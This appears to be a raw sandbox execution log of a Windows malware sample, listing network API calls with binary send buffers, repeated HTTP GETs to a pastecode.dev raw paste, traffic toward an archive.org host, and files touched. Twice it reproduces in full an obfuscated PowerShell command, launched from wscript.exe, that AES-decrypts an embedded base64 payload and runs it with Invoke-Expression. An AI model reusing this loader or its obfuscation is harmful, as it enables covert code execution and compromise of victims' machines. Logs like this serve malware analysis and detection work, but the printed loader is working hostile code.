 buffer: pæ´í„ ïŸH-€T _r_T'ª·²1²È[˜%æDOWxlì˜]\ÐÃü¶-ЀæEâxÇ»ý±ÿôÇ<ý”¢†8æÓ»{©ƒ”Ù(P¾œò%ΨžÔ ŸonèZ–óÿJ—s3ht‚#¥ìmÿZ‹¨Øø[pC31g_Ùõ|"…&LߺòŸ83ïZ0Œ­w=ñ˜Yߣ4^™î_LÐ<œŸÔÖ'ž.›àcÚ 6}‹kÍíû6E:óT»ӝÊþìR7ï9%–¡õ%Š¨ó¢ŠÈݏy@nsÈE†Ë¥}tOÝýF³z…«ÇÛy&g•T?=ˆã[‡ç—L­Ž›ÙéAŽkÕ`Püö8hÖÉàDb`6¿âpµ¤fÏ//O¤dúZw|?ŒCH!ÂM¿±³'“/0å:Ö¨!DùÆèÍý´‰Ñÿ£WçÁÄwT²Úg_h!(@`[ÒW¸%âÙ
socket: 1028
sent: 373
1 373 0

send

 buffer: !
socket: 916
sent: 1
1 1 0

InternetCrackUrlA

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

send

 buffer: À®„¤ª69lyPº%¿Ž<_èw2¡ôØЪõŠâ‰DÍC<ძ"D+ ÍŠ£°.S‘a›'÷ŠæÃ3 ï֝ê‚ieJê–mœ¢ÎÇ3fnïPq£§ e ÑÃÀZž•Ð價5[[S<€+,Tj* ä¡‚eLÓAh|³®4èñC¡Mۍó¹ÝÊblc»¶„•]•…:6’¯ÄÀ†â£SGŒàG™túoÌwޝ¡Œ,g2¡<ªÆÏBPïªuQKÙæY-),aß++±‘ÏÔ{Áœu*‚7ë%e̜˜+%RÃõ~ý6LµZ%HÇP@ßhGÐw¶ÂË옟Ðyûø$/`·Ï¤äêÎßÈ@ܳ{¡Ù°ê‡ZìÎRù«05èƒlö¢¤t9’±t…EGG)¹°)ܝ;sŒ_%ØcxPÔYÂ,Tg_vÉ–S]d>›Ô®2ƒ_¥Ú9oDt‚ÀTK™Ü_ õ6JØùåö“èè*ØRÆ?êt ̳$£RÚ¶d_ã¯#͔›ùø–ÓOŒs|²$é.ºA€pªìH ’ÐÑCuê7 h.|ä†Ï ¥ŽÕä
socket: 1028
sent: 453
1 453 0

send

 buffer: !
socket: 916
sent: 1
1 1 0

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

send

 buffer: ÀZÖSC±X¨éôa<O ·²Ú¾ˆRýw‚6„µÅîmÙÛ19·5(×}gg Õ»To¼Gñ·ÞHf‡#×q¢±½Z½½×UÂ2¡|JՒ¸£§¢ÍbO큷 \áRæ,FÏÞ×»]GŒmÖ!£Žåé"3ÏOH†'°>@Š8sòè‘^”†Ü¶y˜Žê¹€±©F DXrþc2zÎRZ§ˆ, îÓ¹ùè 1Q–ØU s0û[ÝR§ æjâÊAÔA:Gñ1b¿þ˜Ø)Ÿù^¹¿Óü ÍÃÖ×YùõsQT´óeö™žTSÖÉJÃôK7~©0—5§;)4qŒD¼¨ï,Ã_[äêI7uɍ’PR?Û³¢B4lSU[ÇÎF_y¥6óu`¢Q±B[-þ§¹ÿ¼áµj~ gð³v&9öŠï·MX§ƒ^™õÏvkóK‹S¾>“%ÃÇ «ïì›íڐ—×­Xq¬XkjÌn£ûWnè½T×czFÓ×M^óltXâú²Ë°¶ŸÑOÙ{Ì̌Ák‡ª5K*ŸUºr*Iï,‘â“2îà ŠÖg‹¸ûte0
socket: 1028
sent: 453
1 453 0

send

 buffer: !
socket: 916
sent: 1
1 1 0

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

send

 buffer: ÀHò±"ÈB¦’_Ʌ^„‘çóô l k¢“† vµû¬^Äòóë¶cã"·×Žåþ”›ÀÅ-Çy·%fÎá< ϧ+Pò”‰Gƒ2Þ¹V~҆‡µ|;¶œ Rq¤Ys †¥5zʋ·ýjÂl£æÔ÷oD¡‹ò=É 48$…Ia­ëù˜ÿ̓fí§E½E½«C NÊÞœ&~Á^>ÿ¾Â}”èa¿Ìl ˜û'\< ZÖêÛB2Î ‚‡ÍC³Hßìa·û®-t²½i6 ƒöø,vòÈâ;RLž9©’„³{‰6òˆO®û¯Ø7NE|¡#~4­TíîêeW^Ôµ‰W.&ÎWõôÝà~gºÅž.Ý}‰ûÕw§%MÕM¶oÀþœ3$m·Ë_pfedŽßTÝÈËȆcÙWHãÅûôAÚâ(¨´&F ¹§¡mìô4ÉY° ¡mÞäÎ !ftêýÿTöìó‹Ðvÿ TŽºd:™‘¹¹Iš'Þ îÀBã:<^q¸oLR=YbO³UHŒ ŸPkü¯ÿ]téõæ-Ô{?‹âihfhCƜ^
socket: 1028
sent: 453
1 453 0

send

 buffer: !
socket: 916
sent: 1
1 1 0

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

send

 buffer: À$ÛgOµƒ·çÁ>WΞ1â‡o(Æ=×ꡈ‡7äÆAÂc‰D#‡œøò@òJµ¬m<Õš1óJ·âFii&÷þQFô~x©Jæ0õ3€¹;´e€/CSÕ§ˆZ‘Zy 4–d†· ¿£Bùû—(þÁtúaÙ¯b}Ân¹Ùj_6õÄtxª/+×>i:|ˆ>é1HT™éEÌq0+vÚÐܞPl+O!u?3èØgf3º)C¥î~‹Rnq˜ÆŸ¡Š[M>é¯/…ºa>m¹–£>p¸I.¾O¾õÙ _<wFÊ‚¦ÁˆMG>ó“‹ò–8&›tI½6$úGêãGóñ=ٛaþk³_ëF€K@Eæ€ÚŒ&yi#AdûJÍ^½+DúNu• Üõ «DÎô*>Ž†öm9^6-kcE€Qö¥WXݘl[5š `v×H†Õ-z6|~±Zw·þ½ß„°a¨ãFÖævC54u¸úG›‘1¾ô‰È… )Wçt™•dû,³“-º%í,`¤ÞÖÚûù9¦CQ­)ëãÌ6®ÓR´\<ÄÞÊö%LoSg¨s
socket: 1028
sent: 453
1 453 0

send

 buffer: !
socket: 916
sent: 1
1 1 0

send

 buffer: zvf›™¢nÐë,AbÞöíõc§¯3B$«þt…#Ç@/5 ÀÀÀ À 285ÿia803405.us.archive.org  
socket: 1312
sent: 127
1 127 0

send

 buffer: zvf›™¢Í†³¤.Zý·p°²aÌÏÇHxŽ¾ • ªÇ ¦/5 ÀÀÀ À 285ÿia803405.us.archive.org  
socket: 1312
sent: 127
1 127 0

send

 buffer: zvf›™£PhF¸³&˜ònȘ± 639Ê×ü;m¨é¡ÆP{/5 ÀÀÀ À 285ÿia803405.us.archive.org  
socket: 1312
sent: 127
1 127 0

send

 buffer: zvf›™£½ZŽè.v>«õ½dDÃ_L¬üLÌø6Ú/5 ÀÀÀ À 285ÿia803405.us.archive.org  
socket: 1312
sent: 127
1 127 0
parent_process wscript.exe martian_process powershell.exe -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI49958097433743076509724959814142CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIbxuRBZW58D6qHa6OaTz/wPo2erEU3a8XHWrkXAdbdzTC5T84fuiWq58k3i/POU4yNFit1HabT7Ip/uUGVBt4z8Uo7htAUUgjHEN/nsapjY6CPUspvGVUGHssU+Pr5nnVpAZRUrtIGtx098n/onUN4/9UdxjeWta56320IcuEKx5FBRF8BN5agrfzcPl8nWFJaCYbxALQD0pd8wcDcG7Z4qp//WpU8YzhhoHcmfr6tHPpzTEfbrZwiVOvuw+/JvzsrMeYk7zZu+UUshFBQ5tqcmHnYcNcKNeVyySh7vbF4dtVBPC59rcDf45Ip8e8qgnf+f59F72C6X8w7BKmWcxDrvkgIJEdDAL8hj2Jkhtpz0sR4L4aVrWtEQPJ8yxgXf1T2rm+XpdfVfU+ukTx19Jz3wEIAgQSafjf0GfBAL3e4NWDVLet9944vxSiJB8xEd7JenGiyEOtI3Y3hprPXCw66eWQhoF3a145gY3Z2R4BogKZJ5gqp0EKkBqBT9JxAuN4bfZO+TSndIjmga9njg4/qNNYfeYV/uMRKhd+jYkkLNLrx6xGX9qi7fRuFbBprznkr12YuC7yJFQ2x0WsaX8X99Ti2tR/xVNE4EhJ7YWvD7ep2zjQ2woL0IBVZZWRC5I63PpIH400MNDUg8N135wf5JXMORFTBbnzE6SBNiXK6moSaSigUyIRhCN3MyxeECsYo51cbZ/6yqA6VLl9UwtSXFZkT6jsXN4VfMfanH4oR0pi+fnhBmdC+kor0H1eu3doM8tnX5jwkbA3g5RpVHVTwpCCiK/Odz2S8a2CmmJm46STR0hWNzn3oQo1Kld1xQ+1H8hCRSAJvVgqx0wbyv5ng74HSF/sOKduVg5TOulc0bAM2XZNa3NBd2k22BRcCPbE8qhywR0mDi7halZQFXAg8MkRAO0IpVULqcOhikrF+vgmdDw5nxwkSQghmqNulszxeC3Zk9uOC9fO9U2Om796d5NxN0o1Pe2Q7NqhzvPLHu7e5uzSTM6IOxVwRS1jI2X4kkSFKPx5pphUxpLEKB7kQwodoqK5/vSNq9DQIjN4kBA2oWI4BLdmL0+z+59rwTBW487/tVZMEyOa07ecYQeUh66aUseTs5+7zOjmEKrPtKQvkMDJnbAJKX385iV8MzoKGDBarEeSHT3Juol3DEq2A8RWkZdNDTL9gnFsG8rzPUewwTYqHynUuMh5CvZ/ZY0xv/HckoVxNKNGiY5Lzzih8SGOjMqMrXQPiaM+gvZbG3wf2VQkwyAEOH5p54L4m5O5omGT+jAdZzINuqShbK3l0wnwvp/1xtT8MQUezvxMnbqY70jjYLzsmxU+mqfUDhefKjgph7AlvQ909Z5XJmZnneYUGHW/2eWRp9MDZ+jWBNcUhGoUshHAdJ9QTrZSjBiXRG6ahqVSqrmyPd9m1isTmsd2uwpnR/Vv3sDR0Rpa6wRvf3FwwoHMJu7X9zC+Tub3ZCRtEYLoN5hNYt4Ci5ibCNjKAfPWHRBkhpXGJ4vxdNdesz33k4eAkMZFnBRlmUTdq+SY9gKxwq+9Pt2oCH8n9g9JSH93H57AAoPSteAmN+kM8YADHtLsjfKI1n/gboID0K3ci8Im+jLfaq/isIkAQtaFeepycXL9kn3HexD3NbJAn6fY0OQ8fIAKm2bi+W0vdvcXgrjypy+pLfd9B7bUz22aDOxkoZTFdRt1nVGbdgC2CCcFMLqM+ONKbDKmg2i1b2PUwPHKEMYrCPj33PxTJx0uYF6FcTqZWr1FunIOIXGkRF6YnlxA91J0qtZED4hJCnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
parent_process wscript.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI49958097433743076509724959814142CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIbxuRBZW58D6qHa6OaTz/wPo2erEU3a8XHWrkXAdbdzTC5T84fuiWq58k3i/POU4yNFit1HabT7Ip/uUGVBt4z8Uo7htAUUgjHEN/nsapjY6CPUspvGVUGHssU+Pr5nnVpAZRUrtIGtx098n/onUN4/9UdxjeWta56320IcuEKx5FBRF8BN5agrfzcPl8nWFJaCYbxALQD0pd8wcDcG7Z4qp//WpU8YzhhoHcmfr6tHPpzTEfbrZwiVOvuw+/JvzsrMeYk7zZu+UUshFBQ5tqcmHnYcNcKNeVyySh7vbF4dtVBPC59rcDf45Ip8e8qgnf+f59F72C6X8w7BKmWcxDrvkgIJEdDAL8hj2Jkhtpz0sR4L4aVrWtEQPJ8yxgXf1T2rm+XpdfVfU+ukTx19Jz3wEIAgQSafjf0GfBAL3e4NWDVLet9944vxSiJB8xEd7JenGiyEOtI3Y3hprPXCw66eWQhoF3a145gY3Z2R4BogKZJ5gqp0EKkBqBT9JxAuN4bfZO+TSndIjmga9njg4/qNNYfeYV/uMRKhd+jYkkLNLrx6xGX9qi7fRuFbBprznkr12YuC7yJFQ2x0WsaX8X99Ti2tR/xVNE4EhJ7YWvD7ep2zjQ2woL0IBVZZWRC5I63PpIH400MNDUg8N135wf5JXMORFTBbnzE6SBNiXK6moSaSigUyIRhCN3MyxeECsYo51cbZ/6yqA6VLl9UwtSXFZkT6jsXN4VfMfanH4oR0pi+fnhBmdC+kor0H1eu3doM8tnX5jwkbA3g5RpVHVTwpCCiK/Odz2S8a2CmmJm46STR0hWNzn3oQo1Kld1xQ+1H8hCRSAJvVgqx0wbyv5ng74HSF/sOKduVg5TOulc0bAM2XZNa3NBd2k22BRcCPbE8qhywR0mDi7halZQFXAg8MkRAO0IpVULqcOhikrF+vgmdDw5nxwkSQghmqNulszxeC3Zk9uOC9fO9U2Om796d5NxN0o1Pe2Q7NqhzvPLHu7e5uzSTM6IOxVwRS1jI2X4kkSFKPx5pphUxpLEKB7kQwodoqK5/vSNq9DQIjN4kBA2oWI4BLdmL0+z+59rwTBW487/tVZMEyOa07ecYQeUh66aUseTs5+7zOjmEKrPtKQvkMDJnbAJKX385iV8MzoKGDBarEeSHT3Juol3DEq2A8RWkZdNDTL9gnFsG8rzPUewwTYqHynUuMh5CvZ/ZY0xv/HckoVxNKNGiY5Lzzih8SGOjMqMrXQPiaM+gvZbG3wf2VQkwyAEOH5p54L4m5O5omGT+jAdZzINuqShbK3l0wnwvp/1xtT8MQUezvxMnbqY70jjYLzsmxU+mqfUDhefKjgph7AlvQ909Z5XJmZnneYUGHW/2eWRp9MDZ+jWBNcUhGoUshHAdJ9QTrZSjBiXRG6ahqVSqrmyPd9m1isTmsd2uwpnR/Vv3sDR0Rpa6wRvf3FwwoHMJu7X9zC+Tub3ZCRtEYLoN5hNYt4Ci5ibCNjKAfPWHRBkhpXGJ4vxdNdesz33k4eAkMZFnBRlmUTdq+SY9gKxwq+9Pt2oCH8n9g9JSH93H57AAoPSteAmN+kM8YADHtLsjfKI1n/gboID0K3ci8Im+jLfaq/isIkAQtaFeepycXL9kn3HexD3NbJAn6fY0OQ8fIAKm2bi+W0vdvcXgrjypy+pLfd9B7bUz22aDOxkoZTFdRt1nVGbdgC2CCcFMLqM+ONKbDKmg2i1b2PUwPHKEMYrCPj33PxTJx0uYF6FcTqZWr1FunIOIXGkRF6YnlxA91J0qtZED4hJCnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe